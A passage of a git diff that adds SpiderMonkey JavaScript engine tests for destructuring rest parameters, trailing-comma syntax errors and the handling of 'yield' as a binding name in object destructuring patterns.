+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b, "B");
+assertEq(storage.values.c, "C");
+assertEq(storage.values.e, "E");
+assertEq(storage.values.g, "G");
+assertEq(storage.values.h, "H");
+assertEq(storage.values.j, "J");
+assertEq(storage.values.l, "L");
+assertEq(storage.values.m, "M");
+assertEq(storage.values.n, "N");
+assertEq(storage.values.o, "O");
+assertEq(storage.values.q, "Q");
+assertEq(storage.values.s, "S");
+assertEq(storage.values.t, "T");
+assertEq(storage.values.u, "U");
+assertEq(storage.values.v, "V");
+assertEq(storage.values.x, "X");
+assertEq(storage.values.z, "Z");
+assertEq(storage.values.length, 2);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-aray-iterator.js b/js/src/tests/non262/destructuring/rest-parameter-aray-iterator.js
new file mode 100644
index 0000000000..bf9643fd78
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-aray-iterator.js
@@ -0,0 +1,40 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Destructuring rest arrays call the array iterator. This behaviour is
+// observable when Array.prototype[Symbol.iterator] is overridden.
+
+const oldArrayIterator = Array.prototype[Symbol.iterator];
+try {
+ let callCount = 0;
+ Array.prototype[Symbol.iterator] = function() {
+ callCount += 1;
+ return oldArrayIterator.call(this);
+ };
+
+ // Array iterator called exactly once.
+ function arrayIterCalledOnce(...[]) { }
+ assertEq(callCount, 0);
+ arrayIterCalledOnce();
+ assertEq(callCount, 1);
+
+ // Array iterator not called before rest parameter.
+ callCount = 0;
+ function arrayIterNotCalledBeforeRest(t = assertEq(callCount, 0), ...[]) { }
+ assertEq(callCount, 0);
+ arrayIterNotCalledBeforeRest();
+ assertEq(callCount, 1);
+
+ // Array iterator called when rest parameter is processed.
+ callCount = 0;
+ function arrayIterCalledWhenDestructuring(...[t = assertEq(callCount, 1)]) { }
+ assertEq(callCount, 0);
+ arrayIterCalledWhenDestructuring();
+ assertEq(callCount, 1);
+} finally {
+ Array.prototype[Symbol.iterator] = oldArrayIterator;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-arguments.js b/js/src/tests/non262/destructuring/rest-parameter-arguments.js
new file mode 100644
index 0000000000..e87cdff339
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-arguments.js
@@ -0,0 +1,101 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure the |arguments| object works as expected when a destructuring rest
+// parameter is present.
+
+// |arguments.length| with destructuring rest array.
+function argsLengthEmptyRestArray(...[]) {
+ return arguments.length;
+}
+assertEq(argsLengthEmptyRestArray(), 0);
+assertEq(argsLengthEmptyRestArray(10), 1);
+assertEq(argsLengthEmptyRestArray(10, 20), 2);
+
+function argsLengthRestArray(...[a]) {
+ return arguments.length;
+}
+assertEq(argsLengthRestArray(), 0);
+assertEq(argsLengthRestArray(10), 1);
+assertEq(argsLengthRestArray(10, 20), 2);
+
+function argsLengthRestArrayWithDefault(...[a = 0]) {
+ return arguments.length;
+}
+assertEq(argsLengthRestArrayWithDefault(), 0);
+assertEq(argsLengthRestArrayWithDefault(10), 1);
+assertEq(argsLengthRestArrayWithDefault(10, 20), 2);
+
+
+// |arguments.length| with destructuring rest object.
+function argsLengthEmptyRestObject(...{}) {
+ return arguments.length;
+}
+assertEq(argsLengthEmptyRestObject(), 0);
+assertEq(argsLengthEmptyRestObject(10), 1);
+assertEq(argsLengthEmptyRestObject(10, 20), 2);
+
+function argsLengthRestObject(...{a}) {
+ return arguments.length;
+}
+assertEq(argsLengthRestObject(), 0);
+assertEq(argsLengthRestObject(10), 1);
+assertEq(argsLengthRestObject(10, 20), 2);
+
+function argsLengthRestObjectWithDefault(...{a = 0}) {
+ return arguments.length;
+}
+assertEq(argsLengthRestObjectWithDefault(), 0);
+assertEq(argsLengthRestObjectWithDefault(10), 1);
+assertEq(argsLengthRestObjectWithDefault(10, 20), 2);
+
+
+// |arguments| access with destructuring rest array.
+function argsAccessEmptyRestArray(...[]) {
+ return arguments[0];
+}
+assertEq(argsAccessEmptyRestArray(), undefined);
+assertEq(argsAccessEmptyRestArray(10), 10);
+assertEq(argsAccessEmptyRestArray(10, 20), 10);
+
+function argsAccessRestArray(...[a]) {
+ return arguments[0];
+}
+assertEq(argsAccessRestArray(), undefined);
+assertEq(argsAccessRestArray(10), 10);
+assertEq(argsAccessRestArray(10, 20), 10);
+
+function argsAccessRestArrayWithDefault(...[a = 0]) {
+ return arguments[0];
+}
+assertEq(argsAccessRestArrayWithDefault(), undefined);
+assertEq(argsAccessRestArrayWithDefault(10), 10);
+assertEq(argsAccessRestArrayWithDefault(10, 20), 10);
+
+
+// |arguments| access with destructuring rest object.
+function argsAccessEmptyRestObject(...{}) {
+ return arguments[0];
+}
+assertEq(argsAccessEmptyRestObject(), undefined);
+assertEq(argsAccessEmptyRestObject(10), 10);
+assertEq(argsAccessEmptyRestObject(10, 20), 10);
+
+function argsAccessRestObject(...{a}) {
+ return arguments[0];
+}
+assertEq(argsAccessRestObject(), undefined);
+assertEq(argsAccessRestObject(10), 10);
+assertEq(argsAccessRestObject(10, 20), 10);
+
+function argsAccessRestObjectWithDefault(...{a = 0}) {
+ return arguments[0];
+}
+assertEq(argsAccessRestObjectWithDefault(), undefined);
+assertEq(argsAccessRestObjectWithDefault(10), 10);
+assertEq(argsAccessRestObjectWithDefault(10, 20), 10);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-function-length.js b/js/src/tests/non262/destructuring/rest-parameter-function-length.js
new file mode 100644
index 0000000000..5924e799ad
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-function-length.js
@@ -0,0 +1,41 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure function length is set correctly when a destructuring rest parameter
+// is present.
+
+assertEq(function(...[]) {}.length, 0);
+assertEq(function(...[a]) {}.length, 0);
+assertEq(function(...[a = 0]) {}.length, 0);
+assertEq(function(...{}) {}.length, 0);
+assertEq(function(...{p: a}) {}.length, 0);
+assertEq(function(...{p: a = 0}) {}.length, 0);
+assertEq(function(...{a = 0}) {}.length, 0);
+
+assertEq(function(x, ...[]) {}.length, 1);
+assertEq(function(x, ...[a]) {}.length, 1);
+assertEq(function(x, ...[a = 0]) {}.length, 1);
+assertEq(function(x, ...{}) {}.length, 1);
+assertEq(function(x, ...{p: a}) {}.length, 1);
+assertEq(function(x, ...{p: a = 0}) {}.length, 1);
+assertEq(function(x, ...{a = 0}) {}.length, 1);
+
+assertEq(function(x, y, ...[]) {}.length, 2);
+assertEq(function(x, y, ...[a]) {}.length, 2);
+assertEq(function(x, y, ...[a = 0]) {}.length, 2);
+assertEq(function(x, y, ...{}) {}.length, 2);
+assertEq(function(x, y, ...{p: a}) {}.length, 2);
+assertEq(function(x, y, ...{p: a = 0}) {}.length, 2);
+assertEq(function(x, y, ...{a = 0}) {}.length, 2);
+
+assertEq(function(x, y = 0, ...[]) {}.length, 1);
+assertEq(function(x, y = 0, ...[a]) {}.length, 1);
+assertEq(function(x, y = 0, ...[a = 0]) {}.length, 1);
+assertEq(function(x, y = 0, ...{}) {}.length, 1);
+assertEq(function(x, y = 0, ...{p: a}) {}.length, 1);
+assertEq(function(x, y = 0, ...{p: a = 0}) {}.length, 1);
+assertEq(function(x, y = 0, ...{a = 0}) {}.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-spread-call-optimization.js b/js/src/tests/non262/destructuring/rest-parameter-spread-call-optimization.js
new file mode 100644
index 0000000000..20f6a529dc
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-spread-call-optimization.js
@@ -0,0 +1,29 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure the spread-call optimization doesn't break when a destructuring rest
+// parameter is used.
+
+function spreadTarget() { return arguments.length; }
+
+function spreadOpt(...[r]){ return spreadTarget(...r); }
+assertEq(spreadOpt([]), 0);
+assertEq(spreadOpt([10]), 1);
+assertEq(spreadOpt([10, 20]), 2);
+assertEq(spreadOpt([10, 20, 30]), 3);
+
+function spreadOpt2(...[...r]){ return spreadTarget(...r); }
+assertEq(spreadOpt2(), 0);
+assertEq(spreadOpt2(10), 1);
+assertEq(spreadOpt2(10, 20), 2);
+assertEq(spreadOpt2(10, 20, 30), 3);
+
+function spreadOpt3(r, ...[]){ return spreadTarget(...r); }
+assertEq(spreadOpt3([]), 0);
+assertEq(spreadOpt3([10]), 1);
+assertEq(spreadOpt3([10, 20]), 2);
+assertEq(spreadOpt3([10, 20, 30]), 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-syntax.js b/js/src/tests/non262/destructuring/rest-parameter-syntax.js
new file mode 100644
index 0000000000..a145d1a2df
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-syntax.js
@@ -0,0 +1,87 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+const bindingPatterns = [
+ "[]",
+ "[a]",
+ "[a, b]",
+ "[a, ...b]",
+ "[...a]",
+ "[...[]]",
+
+ "{}",
+ "{p: a}",
+ "{p: a = 0}",
+ "{p: {}}",
+ "{p: a, q: b}",
+ "{a}",
+ "{a, b}",
+ "{a = 0}",
+];
+
+const functions = [
+ p => `function f(${p}) {}`,
+ p => `function* g(${p}) {}`,
+ p => `({m(${p}) {}});`,
+ p => `(class {m(${p}) {}});`,
+ p => `(${p}) => {};`,
+];
+
+for (let pattern of bindingPatterns) {
+ for (let fn of functions) {
+ // No leading parameters.
+ eval(fn(`...${pattern}`));
+
+ // Leading normal parameters.
+ eval(fn(`x, ...${pattern}`));
+ eval(fn(`x, y, ...${pattern}`));
+
+ // Leading parameters with defaults.
+ eval(fn(`x = 0, ...${pattern}`));
+ eval(fn(`x = 0, y = 0, ...${pattern}`));
+
+ // Leading array destructuring parameters.
+ eval(fn(`[], ...${pattern}`));
+ eval(fn(`[x], ...${pattern}`));
+ eval(fn(`[x = 0], ...${pattern}`));
+ eval(fn(`[...x], ...${pattern}`));
+
+ // Leading object destructuring parameters.
+ eval(fn(`{}, ...${pattern}`));
+ eval(fn(`{p: x}, ...${pattern}`));
+ eval(fn(`{x}, ...${pattern}`));
+ eval(fn(`{x = 0}, ...${pattern}`));
+
+ // Trailing parameters after rest parameter.
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern},`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, x`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, x = 0`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, ...x`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, []`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, {}`)), SyntaxError);
+
+ // Rest parameter with defaults.
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern} = 0`)), SyntaxError);
+ }
+}
+
+for (let fn of functions) {
+ // Missing name, incomplete patterns.
+ assertThrowsInstanceOf(() => eval(fn(`...`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...[`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...{`)), SyntaxError);
+
+ // Invalid binding name.
+ assertThrowsInstanceOf(() => eval(fn(`...[0]`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...[p.q]`)), SyntaxError);
+}
+
+// Rest parameters aren't valid in getter/setter methods.
+assertThrowsInstanceOf(() => eval(`({get p(...[]) {}})`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`({set p(...[]) {}})`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter.js b/js/src/tests/non262/destructuring/rest-parameter.js
new file mode 100644
index 0000000000..50d77f3cc5
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter.js
@@ -0,0 +1,54 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Simple functional test for destructuring rest parameters.
+
+function arrayRest(...[a, b]) {
+ return a + b;
+}
+assertEq(arrayRest(3, 7), 10);
+
+
+function arrayRestWithDefault(...[a, b = 1]) {
+ return a + b;
+}
+assertEq(arrayRestWithDefault(3, 7), 10);
+assertEq(arrayRestWithDefault(4), 5);
+assertEq(arrayRestWithDefault(4, undefined), 5);
+
+
+function objectRest(...{length: len}) {
+ return len;
+}
+assertEq(objectRest(), 0);
+assertEq(objectRest(10), 1);
+assertEq(objectRest(10, 20), 2);
+
+
+function objectRestWithDefault(...{0: a, 1: b = 1}) {
+ return a + b;
+}
+assertEq(objectRestWithDefault(3, 7), 10);
+assertEq(objectRestWithDefault(4), 5);
+assertEq(objectRestWithDefault(4, undefined), 5);
+
+
+function arrayRestWithNestedRest(...[...r]) {
+ return r.length;
+}
+assertEq(arrayRestWithNestedRest(), 0);
+assertEq(arrayRestWithNestedRest(10), 1);
+assertEq(arrayRestWithNestedRest(10, 20), 2);
+
+
+function arrayRestTDZ(...[a = a]) { }
+assertThrowsInstanceOf(() => arrayRestTDZ(), ReferenceError);
+
+
+function objectRestTDZ(...{a = a}) { }
+assertThrowsInstanceOf(() => objectRestTDZ(), ReferenceError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-with-trailing-comma.js b/js/src/tests/non262/destructuring/rest-with-trailing-comma.js
new file mode 100644
index 0000000000..310180e14b
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-with-trailing-comma.js
@@ -0,0 +1,45 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const invalidSyntax = [
+ "[...r, ]",
+ "[a, ...r, ]",
+ "[a = 0, ...r, ]",
+ "[[], ...r, ]",
+ "[[...r,]]",
+ "[[...r,], ]",
+ "[[...r,], a]",
+];
+
+const validSyntax = [
+ "[, ]",
+ "[a, ]",
+ "[[], ]",
+];
+
+const destructuringForms = [
+ a => `${a} = [];`,
+ a => `var ${a} = [];`,
+ a => `let ${a} = [];`,
+ a => `const ${a} = [];`,
+ a => `(${a}) => {};`,
+ a => `(${a} = []) => {};`,
+ a => `function f(${a}) {}`,
+];
+
+for (let invalid of invalidSyntax) {
+ for (let fn of destructuringForms) {
+ assertThrowsInstanceOf(() => Function(fn(invalid)), SyntaxError);
+ }
+}
+
+for (let invalid of validSyntax) {
+ for (let fn of destructuringForms) {
+ Function(fn(invalid));
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/shell.js b/js/src/tests/non262/destructuring/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/destructuring/shell.js
diff --git a/js/src/tests/non262/destructuring/yield-in-object-destr-function.js b/js/src/tests/non262/destructuring/yield-in-object-destr-function.js
new file mode 100644
index 0000000000..9f5eed8345
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-in-object-destr-function.js
@@ -0,0 +1,182 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+(function() {
+ var {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+
+ var {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+
+ var {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ var {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ var {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ var {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+(function(){
+ let {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ let {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ let {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ let {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ let {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ let {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+(function() {
+ const {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ const {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ const {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ const {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ const {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ const {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+(function({a: yield} = {a: "yield-with-name"}) {
+ assertEq(yield, "yield-with-name");
+})();
+
+(function({yield} = {yield: "yield-with-shorthand"}) {
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function({yield = 0} = {yield: "yield-with-coverinitname"}) {
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f({a: yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f({yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f({yield = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+(function() {
+ var a, yield;
+
+ ({a: yield} = {a: "yield-with-name"});
+ assertEq(yield, "yield-with-name");
+
+ ({yield} = {yield: "yield-with-shorthand"});
+ assertEq(yield, "yield-with-shorthand");
+
+ ({yield = 0} = {yield: "yield-with-coverinitname"});
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ ({a: yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ ({yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ ({yield = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-in-object-destr-generator.js b/js/src/tests/non262/destructuring/yield-in-object-destr-generator.js
new file mode 100644
index 0000000000..4423f8190f
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-in-object-destr-generator.js
@@ -0,0 +1,200 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ var {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ var {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ var {yield = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ var {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ var {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ var {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ let {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ let {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ let {yield = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ let {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ let {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ let {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ const {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ const {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ const {yield = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ const {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ const {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ const {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+assertThrowsInstanceOf(() => eval(`
+ function* g({a: yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g({yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g({yield = 0} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g({a: yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g({yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g({yield = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ ({a: yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ ({yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ ({yield = 0} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ ({a: yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ ({yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ ({yield = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-in-object-destr-script.js b/js/src/tests/non262/destructuring/yield-in-object-destr-script.js
new file mode 100644
index 0000000000..99b48dd417
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-in-object-destr-script.js
@@ -0,0 +1,123 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+var {a: yield} = {a: "yield-with-name"};
+assertEq(yield, "yield-with-name");
+
+var {yield} = {yield: "yield-with-shorthand"};
+assertEq(yield, "yield-with-shorthand");
+
+var {yield = 0} = {yield: "yield-with-coverinitname"};
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ var {a: yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ var {yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ var {yield = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+{
+ let {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ let {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ let {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ let {a: yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ let {yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ let {yield = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+{
+ const {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ const {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ const {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ const {a: yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ const {yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ const {yield = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+({a: yield} = {a: "yield-with-name"});
+assertEq(yield, "yield-with-name");
+
+({yield} = {yield: "yield-with-shorthand"});
+assertEq(yield, "yield-with-shorthand");
+
+({yield = 0} = {yield: "yield-with-coverinitname"});
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ({a: yield} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ({yield} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ({yield = 0} = {});
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-function.js b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-function.js
new file mode 100644
index 0000000000..349badeaf7
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-with-escape-in-object-destr-function.js
@@ -0,0 +1,182 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+(function() {
+ var {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+
+ var {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+
+ var {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ var {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ var {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ var {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+(function(){
+ let {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ let {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ let {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ let {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
